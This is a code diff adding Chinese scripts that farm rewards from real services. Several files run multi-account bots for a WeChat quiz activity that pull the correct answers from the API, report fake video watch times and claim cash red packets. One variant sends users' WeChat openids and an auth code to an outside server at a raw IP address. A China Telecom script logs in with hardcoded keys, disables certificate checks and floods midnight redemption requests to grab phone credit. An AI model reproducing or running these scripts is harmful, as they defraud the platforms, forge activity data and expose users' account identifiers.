print(f"[{user.name}] {time.strftime('%Y-%m-%d %H:%M:%S')} 执行宝箱任务")
|
||||
treasure_result = user.open_treasure()
|
||||
if treasure_result and treasure_result.get('code') == 200:
|
||||
print(f"[{user.name}] 宝箱开启成功: {treasure_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{user.name}] 宝箱开启失败: {treasure_result.get('msg') if treasure_result else '请求失败'}")
|
||||
user.last_treasure_time = current_time
|
||||
|
||||
# 等待一段时间再检查
|
||||
time.sleep(30)
|
||||
|
||||
def main():
|
||||
"""主函数,启动多线程处理所有用户"""
|
||||
print("启动多用户签到任务...")
|
||||
|
||||
# 创建并启动所有用户线程
|
||||
threads = []
|
||||
for user_config in USERS:
|
||||
thread = threading.Thread(target=user_worker, args=(user_config,))
|
||||
thread.daemon = True # 设置为守护线程,主程序退出时自动结束
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
print(f"已启动线程: {user_config['name']}")
|
||||
|
||||
# 等待所有线程完成(实际上主线程会一直运行)
|
||||
try:
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
except KeyboardInterrupt:
|
||||
print("\n程序被用户中断,正在退出...")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
143
现金毛/羌医代码版本.py
Normal file
143
现金毛/羌医代码版本.py
Normal file
@@ -0,0 +1,143 @@
|
||||
# 变量xlck 换行分开 抓取https://a2aev2.h5.sagx.net/api-user/v2/getToken域名下的wx_openid
|
||||
# 变量xlid 每天自己抓取
|
||||
# 变量xlhost 域名可能会变换 当变换的时候自己更改域名 当前域名 a2aev2.h5.sagx.net
|
||||
# 每天定时一次既可 多了可能会报错 等有问题在修改
|
||||
|
||||
# host = "a2aev2.h5.sagx.net"
|
||||
|
||||
import time
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
|
||||
import random
|
||||
import urllib3
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
token_list = os.environ.get("xlck").split("\n")
|
||||
xlid = os.environ.get("xlid")
|
||||
host = os.environ.get("xlhost")
|
||||
num_tokens = len(token_list)
|
||||
print("当前获取到", num_tokens, "个账号 \n")
|
||||
n = 0
|
||||
if token_list or xlid or host:
|
||||
print("变量获取成功")
|
||||
else:
|
||||
print("不填变量玩个蛋")
|
||||
exit()
|
||||
for token in token_list:
|
||||
id = xlid
|
||||
code = "051IMzll2wDJOe4Vxwml2DpN2d1IMzlX"
|
||||
n += 1
|
||||
print(f"第{n}个账号执行中")
|
||||
# print(token_json)
|
||||
openid = token
|
||||
headers = {"Host": f"{host}", "Connection": "keep-alive", "Content-Length": "84", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090c11) XWEB/11581 Flue", "Content-Type": "application/json", "Accept": "*/*", "Origin": f"https://{host}", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": f"https://{host}/activity/index.html?id={id}&code=0&state=STATE", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9"}
|
||||
url = f"https://{host}/api-user/v2/getToken"
|
||||
data = {"wx_openid": openid, "id": id}
|
||||
data = json.dumps(data, separators=(',', ':'))
|
||||
response = requests.post(url, headers=headers, data=data, verify=False)
|
||||
if response.status_code == 200:
|
||||
response = response.json()
|
||||
try:
|
||||
token = response["data"]["token"]
|
||||
print(f"token获取成功,token为{token}")
|
||||
except:
|
||||
print(response)
|
||||
continue
|
||||
|
||||
else:
|
||||
print(response)
|
||||
print("填写信息错误")
|
||||
continue
|
||||
|
||||
headers = {"Host": f"{host}", "Connection": "keep-alive", "Accept": "application/json", "Authorization": f"Bearer {token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090c11) XWEB/11581 Flue", "Content-Type": "application/json", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": f"https://{host}/activity/index.html?id={id}&code=0&state=STATE", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9"}
|
||||
url = f"https://{host}/api-user/v2/activityDetatil"
|
||||
params = {"id": id, "withMaterial": "1"}
|
||||
|
||||
|
||||
def find_result_one(data):
|
||||
for index, item in enumerate(data): # 使用 enumerate 函数同时获取元素的索引和元素本身
|
||||
if item.get('result') == '1': # 使用 get 方法获取 result 键的值
|
||||
return index, item
|
||||
return None, None
|
||||
|
||||
|
||||
response = requests.get(url, headers=headers, params=params, verify=False)
|
||||
if response.status_code == 200:
|
||||
response = response.json()
|
||||
# print(response)
|
||||
userActivityId = response["meta"]["joinInfo"]["userActivityId"]
|
||||
activity_id = response["data"]["activity_id"]
|
||||
# print(activity_id)
|
||||
daan11 = response["data"]["materialDetail"]["questions"][0]["answer"]
|
||||
# print(daan11)
|
||||
index, item = find_result_one(daan11)
|
||||
# print(f"结果为 1 的元素索引是: {index}, 元素是: {item}")
|
||||
daan1 = f"0_{index}"
|
||||
print(daan1)
|
||||
questions = response.get("data", {}).get("materialDetail", {}).get("questions", [])
|
||||
if len(questions) > 1 and questions[1]:
|
||||
# 这里是满足条件时的操作
|
||||
daan12 = response["data"]["materialDetail"]["questions"][1]["answer"]
|
||||
index, item = find_result_one(daan12)
|
||||
daan2 = f"1_{index}"
|
||||
print(daan2)
|
||||
else:
|
||||
daan2 = ""
|
||||
|
||||
else:
|
||||
print("获取答案错误")
|
||||
continue
|
||||
|
||||
|
||||
# def suijisecong():
|
||||
# suijishu = np.random.randint(3700, 5600)
|
||||
# return suijishu
|
||||
|
||||
|
||||
|
||||
def suijisecong():
|
||||
suijishu = random.randint(3700, 5600)
|
||||
return suijishu
|
||||
|
||||
time_url = f"https://{host}/api-user/v1/activityWatchVideo"
|
||||
time_data = {"userActivityId": userActivityId, "second": suijisecong() # 设置一个很大的播放时间
|
||||
}
|
||||
response = requests.post(time_url, json=time_data, headers=headers, verify=False).json()
|
||||
if response['status'] == "success":
|
||||
print("时间上报成功")
|
||||
else:
|
||||
print("错误")
|
||||
continue
|
||||
|
||||
finish_url = f"https://{host}/api-user/v1/activityWatchVideoOver"
|
||||
finish_data = {"userActivityId": userActivityId}
|
||||
|
||||
response = requests.post(finish_url, json=finish_data, headers=headers, verify=False).json()
|
||||
# print(response)
|
||||
if response['status'] == "success":
|
||||
print("时间设置成功")
|
||||
else:
|
||||
print("错误")
|
||||
continue
|
||||
|
||||
headers = {"Host": f"{host}", "Connection": "keep-alive", "Content-Length": "46", "sec-ch-ua-platform": "\"Android\"", "Authorization": f"Bearer {token}", "User-Agent": "Mozilla/5.0 (Linux; Android 14; 2311DRK48C Build/UP1A.230905.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.103 Mobile Safari/537.36 XWEB/1300259 MMWEBSDK/20241103 MMWEBID/9654 MicroMessenger/8.0.55.2780(0x28003734) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", "Accept": "application/json", "sec-ch-ua": "\"Chromium\";v=\"130\", \"Android WebView\";v=\"130\", \"Not?A_Brand\";v=\"99\"", "Content-Type": "application/json", "sec-ch-ua-mobile": "?1", "Origin": f"https://{host}", "X-Requested-With": "com.tencent.mm", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": f"https://{host}/activity/index.html?id={id}", "Accept-Encoding": "gzip, deflate, br, zstd", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"}
|
||||
url = f"https://{host}/api-user/v1/receiveAwardAndWatchOver"
|
||||
if daan2 != "":
|
||||
data = {"activity_id": activity_id, "answers": [f"{daan1}", f"{daan2}"]}
|
||||
else:
|
||||
data = {"activity_id": activity_id, "answers": [f"{daan1}"]}
|
||||
data = json.dumps(data, separators=(',', ':'))
|
||||
response = requests.post(url, headers=headers, data=data, verify=False).json()
|
||||
if response['status_code'] == 200:
|
||||
red_money = response["data"]["red_money"]
|
||||
print(f"答题成功,获得奖励{red_money}")
|
||||
time.sleep(15)
|
||||
else:
|
||||
msg = response["message"]
|
||||
print("答题失败")
|
||||
print(msg)
|
||||
time.sleep(10)
|
||||
continue
|
||||
79
现金毛/羌医探秘.txt
Normal file
79
现金毛/羌医探秘.txt
Normal file
@@ -0,0 +1,79 @@
|
||||
#大国医道羌医探秘答题领现金红包!
|
||||
#下方""中间填写授权码!
|
||||
sqm = "1f8748bc243704c12bd3bd107ff638a288a165f571d2b54a25efd0ace1032f09"
|
||||
|
||||
#使用方法:
|
||||
#抓包只需要抓openid和课程id
|
||||
#每个微信的openid只需要抓一次即可,不用每天都抓!
|
||||
#微信的openid要填入环境变量里,课程id填入脚本第25行的id中
|
||||
#抓包后搜索openid或者wx_openid即可找到。
|
||||
|
||||
#环境变量创建变量
|
||||
#变量名称:QingLongBaiHu_dgyd_qytm
|
||||
#变量值格式:备注#openid
|
||||
#变量值的备注随便写 只是为了方便区分不同的微信
|
||||
#多号请用@隔开
|
||||
#多号变量值示例:备注#openid@备注#openid@备注#openid
|
||||
|
||||
#填写当天的题目id
|
||||
#复制抓包url中activityV2?id= 的值填到下方id=的""中间
|
||||
#或者复制抓包url中activityDetatil?id= 的值填到下方id=的""中间
|
||||
#如果你不同的号在不同的群 起线不同 则多个不同的课程id用#隔开
|
||||
#id = "f06ad2c1b2594b2b351986ac240c491d"
|
||||
#id = "e5deace96222d913d2fd20fa54112422"
|
||||
id = "eb5b5d68bc9f1bd937e99520e17b22b2"
|
||||
|
||||
#host根据你抓包的url修改即可,非必要请勿修改
|
||||
host = "api.h5.sagx.net"
|
||||
#填写host不需要带http://或https://
|
||||
|
||||
import requests
|
||||
import json
|
||||
import time
|
||||
import os
|
||||
accounts_list = os.environ.get("QingLongBaiHu_dgyd_qytm").split("@")
|
||||
num_of_accounts = len(accounts_list)
|
||||
print(__import__('base64').b64decode("6Z2S6b6Z55m96JmO5o+Q56S677ya6I635Y+W5Yiw").decode('utf-8'),num_of_accounts,__import__('base64').b64decode("5Liq6LSm5Y+3Cg==").decode('utf-8'))
|
||||
time.sleep(1)
|
||||
id_list = id.split("#")
|
||||
time.sleep(1)
|
||||
for id in id_list:
|
||||
for dgyd_ck in accounts_list:
|
||||
dgyd_qytm_ck = dgyd_ck.split("#")
|
||||
time.sleep(2)
|
||||
print("-" * 40)
|
||||
name = dgyd_qytm_ck[0]
|
||||
print("正在运行的账号:",name)
|
||||
url = f"http://125.122.14.177:8000/qytm?openid={dgyd_qytm_ck[1]}&id={id}&host={host}&ck={sqm}"
|
||||
headers = {
|
||||
'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/125.3 Mobile/15E148 Safari/605.1.15",
|
||||
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
'Accept-Encoding': "gzip, deflate",
|
||||
'Pragma': "no-cache",
|
||||
'Proxy-Connection': "keep-alive",
|
||||
'Upgrade-Insecure-Requests': "1",
|
||||
'Accept-Language': "zh-CN,zh-Hans;q=0.9",
|
||||
'Cache-Control': "no-cache",
|
||||
'Cookie': "72756147c9fc44336c4efb53e47fb97a=bd4e5d78-5ecc-49fc-b380-cdc5e5ea2ac8.bLgI2g6bC-PHmksej6uzxG1l8TE"
|
||||
}
|
||||
fh = requests.get(url, headers=headers)
|
||||
fh_json = fh.json()
|
||||
print(fh_json)
|
||||
status = fh_json.get("status")
|
||||
if status == "error":
|
||||
print(fh_json["message"])
|
||||
continue
|
||||
gettoken_status = fh_json.get("gettoken")
|
||||
if gettoken_status == "参数错误!":
|
||||
print("课程id不正确,请检查!")
|
||||
continue
|
||||
elif gettoken_status == "该微信号未注册,请先注册!":
|
||||
print("变量值openid不正确,请检查!")
|
||||
continue
|
||||
elif gettoken_status == "活动已结束,请参与其它活动!":
|
||||
print("课程已过期!请抓最新课程id")
|
||||
continue
|
||||
if fh_json.get("getqs") is not None:
|
||||
print("当前期数:",fh_json.get("getqs"))
|
||||
if fh_json.get("dt") is not None:
|
||||
print(fh_json.get("dt"))
|
||||
525
电信/0点权益.py
Normal file
525
电信/0点权益.py
Normal file
@@ -0,0 +1,525 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import ssl
|
||||
import time
|
||||
import json
|
||||
import base64
|
||||
import random
|
||||
import certifi
|
||||
import aiohttp
|
||||
import asyncio
|
||||
import datetime
|
||||
import requests
|
||||
import binascii
|
||||
from http import cookiejar
|
||||
from Crypto.Cipher import DES3
|
||||
from Crypto.PublicKey import RSA
|
||||
from Crypto.Cipher import PKCS1_v1_5
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
from aiohttp import ClientSession, TCPConnector
|
||||
|
||||
# 在全局变量区域添加停止事件
|
||||
stop_all_event = asyncio.Event() # 控制所有任务停止
|
||||
|
||||
# 🌸 标题 🌸
|
||||
LOGO = f'''
|
||||
✧・゚: *✧・゚:* 电信金豆换话费脚本 ✧・゚: *✧・゚:*
|
||||
'''
|
||||
|
||||
run_num = os.environ.get('reqNUM') or "50"
|
||||
MAX_RETRIES = 3
|
||||
RATE_LIMIT = 15 # 每秒请求数限制
|
||||
|
||||
# 🌸 日志相关设置 🌸
|
||||
yf = datetime.datetime.now().strftime("%Y%m")
|
||||
try:
|
||||
with open('电信金豆换话费.log') as fr:
|
||||
dhjl = json.load(fr)
|
||||
except:
|
||||
dhjl = {}
|
||||
if yf not in dhjl:
|
||||
dhjl[yf] = {}
|
||||
|
||||
|
||||
class RateLimiter:
|
||||
def __init__(self, rate_limit):
|
||||
self.rate_limit = rate_limit
|
||||
self.tokens = rate_limit
|
||||
self.updated_at = time.monotonic()
|
||||
|
||||
async def acquire(self):
|
||||
while self.tokens < 1:
|
||||
self.add_new_tokens()
|
||||
await asyncio.sleep(0.1)
|
||||
self.tokens -= 1
|
||||
|
||||
def add_new_tokens(self):
|
||||
now = time.monotonic()
|
||||
time_since_update = now - self.updated_at
|
||||
new_tokens = time_since_update * self.rate_limit
|
||||
if new_tokens > 1:
|
||||
self.tokens = min(self.tokens + new_tokens, self.rate_limit)
|
||||
self.updated_at = now
|
||||
|
||||
|
||||
class AsyncSessionManager:
|
||||
def __init__(self):
|
||||
self.session = None
|
||||
self.connector = None
|
||||
|
||||
async def __aenter__(self):
|
||||
ssl_context = ssl.create_default_context(cafile=certifi.where())
|
||||
ssl_context.set_ciphers('DEFAULT@SECLEVEL=1')
|
||||
self.connector = TCPConnector(ssl=ssl_context, limit=1000)
|
||||
self.session = ClientSession(connector=self.connector)
|
||||
return self.session
|
||||
|
||||
async def __aexit__(self, exc_type, exc_val, exc_tb):
|
||||
await self.session.close()
|
||||
await self.connector.close()
|
||||
|
||||
|
||||
async def retry_request(session, method, url, **kwargs):
|
||||
for attempt in range(MAX_RETRIES):
|
||||
try:
|
||||
await asyncio.sleep(1)
|
||||
async with session.request(method, url, **kwargs) as response:
|
||||
return await response.json()
|
||||
|
||||
except (aiohttp.ClientConnectionError, aiohttp.ServerTimeoutError) as e:
|
||||
print(f"{Color.LIGHT_PINK}💔 请求失败,第 {attempt + 1} 次重试: {e}{Color.ENDC}")
|
||||
if attempt == MAX_RETRIES - 1:
|
||||
raise
|
||||
await asyncio.sleep(2 ** attempt)
|
||||
|
||||
|
||||
class BlockAll(cookiejar.CookiePolicy):
|
||||
return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
|
||||
netscape = True
|
||||
rfc2965 = hide_cookie2 = False
|
||||
|
||||
|
||||
# 🌸 输出函数 🌸
|
||||
def printn(m):
|
||||
current_time = datetime.datetime.now().strftime("%H:%M:%S.%f")[:-3]
|
||||
print(f'\n🌸 [{current_time} {m}]')
|
||||
|
||||
|
||||
context = ssl.create_default_context()
|
||||
context.set_ciphers('DEFAULT@SECLEVEL=1') # 低安全级别0/1
|
||||
context.check_hostname = False # 禁用主机
|
||||
context.verify_mode = ssl.CERT_NONE # 禁用证书
|
||||
|
||||
|
||||
class DESAdapter(requests.adapters.HTTPAdapter):
|
||||
def init_poolmanager(self, *args, **kwargs):
|
||||
kwargs['ssl_context'] = context
|
||||
return super().init_poolmanager(*args, **kwargs)
|
||||
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
ss = requests.session()
|
||||
ss.headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36",
|
||||
"Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"}
|
||||
ss.mount('https://', DESAdapter())
|
||||
ss.cookies.set_policy(BlockAll())
|
||||
runTime = 0
|
||||
key = b'1234567`90koiuyhgtfrdews'
|
||||
iv = 8 * b'\0'
|
||||
|
||||
public_key_b64 = '''-----BEGIN PUBLIC KEY-----
|
||||
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB
|
||||
-----END PUBLIC KEY-----'''
|
||||
|
||||
public_key_data = '''-----BEGIN PUBLIC KEY-----
|
||||
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB
|
||||
-----END PUBLIC KEY-----'''
|
||||
|
||||
|
||||
def get_first_three(value):
|
||||
if isinstance(value, (int, float)):
|
||||
return f"{str(value)[:3]}****{str(value)[-4:]}"
|
||||
elif isinstance(value, str):
|
||||
return f"{value[:3]}****{value[-4:]}"
|
||||
else:
|
||||
raise TypeError("error")
|
||||
|
||||
|
||||
def run_Time(hour, miute, second):
|
||||
date = datetime.datetime.now()
|
||||
date_zero = datetime.datetime.now().replace(year=date.year, month=date.month, day=date.day, hour=hour, minute=miute,
|
||||
second=second)
|
||||
date_zero_time = int(time.mktime(date_zero.timetuple()))
|
||||
return date_zero_time
|
||||
|
||||
|
||||
def encrypt(text):
|
||||
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
||||
ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
|
||||
return ciphertext.hex()
|
||||
|
||||
|
||||
def decrypt(text):
|
||||
ciphertext = bytes.fromhex(text)
|
||||
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
||||
plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
|
||||
return plaintext.decode()
|
||||
|
||||
|
||||
def b64(plaintext):
|
||||
public_key = RSA.import_key(public_key_b64)
|
||||
cipher = PKCS1_v1_5.new(public_key)
|
||||
ciphertext = cipher.encrypt(plaintext.encode())
|
||||
return base64.b64encode(ciphertext).decode()
|
||||
|
||||
|
||||
def encrypt_para(plaintext):
|
||||
if not isinstance(plaintext, str):
|
||||
plaintext = json.dumps(plaintext)
|
||||
public_key = RSA.import_key(public_key_data)
|
||||
cipher = PKCS1_v1_5.new(public_key)
|
||||
key_size = public_key.size_in_bytes()
|
||||
max_chunk_size = key_size - 11
|
||||
plaintext_bytes = plaintext.encode()
|
||||
ciphertext = b''
|
||||
for i in range(0, len(plaintext_bytes), max_chunk_size):
|
||||
chunk = plaintext_bytes[i:i + max_chunk_size]
|
||||
encrypted_chunk = cipher.encrypt(chunk)
|
||||
ciphertext += encrypted_chunk
|
||||
return binascii.hexlify(ciphertext).decode()
|
||||
|
||||
|
||||
def encode_phone(text):
|
||||
encoded_chars = []
|
||||
for char in text:
|
||||
encoded_chars.append(chr(ord(char) + 2))
|
||||
return ''.join(encoded_chars)
|
||||
|
||||
|
||||
def getApiTime(api_url):
|
||||
try:
|
||||
with requests.get(api_url) as response:
|
||||
if (not response or not response.text):
|
||||
return time.time()
|
||||
json_data = json.loads(response.text)
|
||||
if (json_data.get("api") and json_data.get("api") not in ("time")):
|
||||
timestamp_str = json_data.get('data', {}).get('t', '')
|
||||
else:
|
||||
timestamp_str = json_data.get('currentTime', {})
|
||||
timestamp = int(timestamp_str) / 1000.0 # 将毫秒转为秒
|
||||
difftime = time.time() - timestamp
|
||||
return difftime;
|
||||
except Exception as e:
|
||||
print(f"💔 获取时间失败: {e}")
|
||||
return 0;
|
||||
|
||||
|
||||
def userLoginNormal(phone, password):
|
||||
alphabet = 'abcdef0123456789'
|
||||
uuid = [''.join(random.sample(alphabet, 8)), ''.join(random.sample(alphabet, 4)),
|
||||
'4' + ''.join(random.sample(alphabet, 3)), ''.join(random.sample(alphabet, 4)),
|
||||
''.join(random.sample(alphabet, 12))]
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
|
||||
loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.'
|
||||
try:
|
||||
r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal', json={
|
||||
"headerInfos": {"code": "userLoginNormal", "timestamp": timestamp, "broadAccount": "", "broadToken": "",
|
||||
"clientType": "#11.3.0#channel35#Xiaomi Redmi K30 Pro#", "shopId": "20002",
|
||||
"source": "110003", "sourcePassword": "Sid98s", "token": "",
|
||||
"userLoginName": encode_phone(phone)}, "content": {"attach": "test",
|
||||
"fieldData": {"loginType": "4",
|
||||
"accountType": "",
|
||||
"loginAuthCipherAsymmertric": b64(
|
||||
loginAuthCipherAsymmertric),
|
||||
"deviceUid": uuid[0] +
|
||||
uuid[1] +
|
||||
uuid[2],
|
||||
"phoneNum": encode_phone(
|
||||
phone),
|
||||
"isChinatelecom": "0",
|
||||
"systemVersion": "12",
|
||||
"authentication": encode_phone(
|
||||
password)}}}).json()
|
||||
l = r['responseData']['data']['loginSuccessResult']
|
||||
if l:
|
||||
ticket = get_ticket(phone, l['userId'], l['token'])
|
||||
return ticket
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"💔 登录失败: {e}")
|
||||
return False
|
||||
|
||||
|
||||
async def exchangeForDay(phone, session, run_num, rid, stime, accId):
|
||||
async def delayed_conversion(delay):
|
||||
await asyncio.sleep(delay)
|
||||
await conversionRights(phone, rid, session, accId)
|
||||
|
||||
tasks = [asyncio.create_task(delayed_conversion(i * stime)) for i in range(int(run_num))]
|
||||
await asyncio.gather(*tasks)
|
||||
|
||||
|
||||
def get_ticket(phone, userId, token):
|
||||
try:
|
||||
r = ss.post('https://appgologin.189.cn:9031/map/clientXML',
|
||||
data='<Request><HeaderInfos><Code>getSingle</Code><Timestamp>' + datetime.datetime.now().strftime(
|
||||
"%Y%m%d%H%M%S") + '</Timestamp><BroadAccount></BroadAccount><BroadToken></BroadToken><ClientType>#9.6.1#channel50#iPhone 14 Pro Max#</ClientType><ShopId>20002</ShopId><Source>110003</Source><SourcePassword>Sid98s</SourcePassword><Token>' + token + '</Token><UserLoginName>' + phone + '</UserLoginName></HeaderInfos><Content><Attach>test</Attach><FieldData><TargetId>' + encrypt(
|
||||
userId) + '</TargetId><Url>4a6862274835b451</Url></FieldData></Content></Request>',
|
||||
headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'},
|
||||
verify=certifi.where())
|
||||
tk = re.findall('<Ticket>(.*?)</Ticket>', r.text)
|
||||
if len(tk) == 0:
|
||||
return False
|
||||
return decrypt(tk[0])
|
||||
except Exception as e:
|
||||
print(f"💔 获取ticket失败: {e}")
|
||||
return False
|
||||
|
||||
|
||||
async def exchange(s, phone, title, aid, jsexec, ckvalue):
|
||||
try:
|
||||
url = "https://wapact.189.cn:9001/gateway/standExchange/detailNew/exchange"
|
||||
get_url = await asyncio.to_thread(jsexec.call, "getUrl", "POST", url)
|
||||
async with s.post(get_url, cookies=ckvalue, json={"activityId": aid}) as response:
|
||||
pass
|
||||
except Exception as e:
|
||||
print(f"💔 兑换出错: {e}")
|
||||
|
||||
|
||||
async def check(s, item, ckvalue):
|
||||
checkGoods = s.get('https://wapact.189.cn:9001/gateway/stand/detailNew/check?activityId=' + item,
|
||||
cookies=ckvalue).json()
|
||||
return checkGoods
|
||||
|
||||
|
||||
async def conversionRights(phone, aid, session, accId):
|
||||
try:
|
||||
value = {
|
||||
"id": aid,
|
||||
"accId": accId,
|
||||
"showType": "9003",
|
||||
"showEffect": "8",
|
||||
"czValue": "0"
|
||||
}
|
||||
paraV = encrypt_para(value)
|
||||
|
||||
printn(f"{get_first_three(phone)}: 开始兑换啦~ ✨")
|
||||
|
||||
response = await asyncio.to_thread(
|
||||
session.post,
|
||||
'https://wappark.189.cn/jt-sign/paradise/receiverRights',
|
||||
json={"para": paraV}
|
||||
)
|
||||
|
||||
login = response.json()
|
||||
printn(f"💔 {get_first_three(phone)}: 结果是 {login} 💬")
|
||||
if '兑换成功' in response.text:
|
||||
printn(f"{Color.MINT}🎉 恭喜呀!{get_first_three(phone)} 兑换成功啦!🎉")
|
||||
dhjl[yf]['等级话费'] += "#" + phone
|
||||
with open('电信金豆换话费.log', 'w') as f:
|
||||
json.dump(dhjl, f, ensure_ascii=False)
|
||||
return
|
||||
elif '已兑换' in response.text:
|
||||
printn(f"💖 {get_first_three(phone)} 已经兑换过咯~")
|
||||
dhjl[yf]['等级话费'] += "#" + phone
|
||||
with open('电信金豆换话费.log', 'w') as f:
|
||||
json.dump(dhjl, f, ensure_ascii=False)
|
||||
return
|
||||
|
||||
except Exception as e:
|
||||
printn(f"💔 {get_first_three(phone)} 兑换时出错了: {str(e)}")
|
||||
|
||||
|
||||
async def getLevelRightsList(phone, session, accId):
|
||||
try:
|
||||
value = {
|
||||
"type": "hg_qd_djqydh",
|
||||
"accId": accId,
|
||||
"shopId": "20001"
|
||||
}
|
||||
paraV = encrypt_para(value)
|
||||
|
||||
response = session.post(
|
||||
'https://wappark.189.cn/jt-sign/paradise/queryLevelRightInfo',
|
||||
json={"para": paraV}
|
||||
)
|
||||
|
||||
data = response.json()
|
||||
if data.get('code') == 401:
|
||||
print(f"💔 获取失败: {data}, 可能是sign过期了呢")
|
||||
return None
|
||||
|
||||
current_level = int(data['currentLevel'])
|
||||
key_name = 'V' + str(current_level)
|
||||
ids = [item['activityId'] for item in data.get(key_name, []) if '话费' in item.get('title', '')]
|
||||
return ids
|
||||
|
||||
except Exception as e:
|
||||
print(f"💔 获取失败, 重试一次: {str(e)}")
|
||||
try:
|
||||
paraV = encrypt_para(value)
|
||||
response = session.post(
|
||||
'https://wappark.189.cn/jt-sign/paradise/queryLevelRightInfo',
|
||||
json={"para": paraV}
|
||||
)
|
||||
|
||||
data = response.json()
|
||||
if data.get('code') == 401:
|
||||
print(f"💔 重试获取失败: {data}, 可能是sign过期了呢")
|
||||
return None
|
||||
|
||||
current_level = int(data['currentLevel'])
|
||||
key_name = 'V' + str(current_level)
|
||||
ids = [item['id'] for item in data.get(key_name, []) if item.get('name') == '话费']
|
||||
return ids
|
||||
|
||||
except Exception as e:
|
||||
print(f"💔 重试也失败了: {str(e)}")
|
||||
return None
|
||||
|
||||
|
||||
async def getSign(ticket, session):
|
||||
try:
|
||||
response = session.get(
|
||||
'https://wappark.189.cn/jt-sign/ssoHomLogin?ticket=' + ticket,
|
||||
headers={
|
||||
'User-Agent': "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36"}
|
||||
).json()
|
||||
|
||||
if response.get('resoultCode') == '0':
|
||||
sign = response.get('sign')
|
||||
accId = response.get('accId')
|
||||
return sign, accId
|
||||
else:
|
||||
print(f"💔 获取sign失败[{response.get('resoultCode')}]: {response}")
|
||||
except Exception as e:
|
||||
print(f"💔 getSign 出错了: {str(e)}")
|
||||
return None, None
|
||||
|
||||
|
||||
async def qgNight(phone, ticket, timeDiff, isTrue):
|
||||
if isTrue:
|
||||
runTime = run_Time(23, 58, 30)
|
||||
else:
|
||||
runTime = 0
|
||||
|
||||
if runTime > (time.time() + timeDiff):
|
||||
difftime = runTime - time.time() - timeDiff
|
||||
print(f"⏰ 当前时间: {str(datetime.datetime.now())[11:23]}, 要等一会儿哦~ 还要等 {difftime:.2f} 秒")
|
||||
await asyncio.sleep(difftime)
|
||||
|
||||
session = requests.Session()
|
||||
session.mount('https://', DESAdapter())
|
||||
session.verify = False # 禁用证书验证
|
||||
sign, accId = await getSign(ticket, session)
|
||||
|
||||
if sign:
|
||||
session.headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36",
|
||||
"sign": sign}
|
||||
printn(f"{get_first_three(phone)} 获取到sign啦~ 太好了!😊")
|
||||
else:
|
||||
print(f"{get_first_three(phone)} 💔 没有获取到sign呢...")
|
||||
return
|
